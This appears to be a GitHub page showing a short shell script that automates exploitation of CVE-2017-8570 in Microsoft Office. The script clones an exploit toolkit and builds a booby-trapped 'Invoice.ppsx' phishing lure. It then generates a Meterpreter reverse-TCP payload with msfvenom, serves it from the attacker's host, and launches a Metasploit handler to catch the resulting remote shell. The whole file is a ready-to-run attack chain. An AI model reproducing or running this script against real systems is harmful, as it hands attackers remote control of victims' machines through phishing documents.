-
Notifications
You must be signed in to change notification settings - Fork 3
/
auto
30 lines (27 loc) · 894 Bytes
/
auto
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
attack_ip="192.168.1.212"
LPORT="6666"
DIR="/var/cve2017"
if [ -d ${DIR} ]; then
rm -rf ${DIR}
mkdir ${DIR}
else
mkdir ${DIR}
fi
cd $DIR
`git clone https://github.com/tezukanice/Office8570.git`
cd Office8570
mkdir template
mv template.ppsx template/template.ppsx
python cve-2017-8570_toolkit.py -M gen -w Invoice.ppsx -u http://$attack_ip"/logo.doc"
`msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=${attack_ip} LPORT=${LPORT} -f exe > ${DIR}/shell.exe`
gnome-terminal -e "python cve-2017-8570_toolkit.py -M exp -e http://${attack_ip}/shell.exe -l ${DIR}/shell.exe"
`service postgresql start`
if [ -f "exp.rc" ]; then
rm "exp.rc"
fi
echo "use exploit/multi/handler">>exp.rc
echo "set LHOST "$attack_ip>>exp.rc
echo "set LPORT "$LPORT>>exp.rc
echo "set PAYLOAD windows/x64/meterpreter/reverse_tcp">>exp.rc
echo "exploit">>exp.rc
gnome-terminal -e "msfconsole -r exp.rc"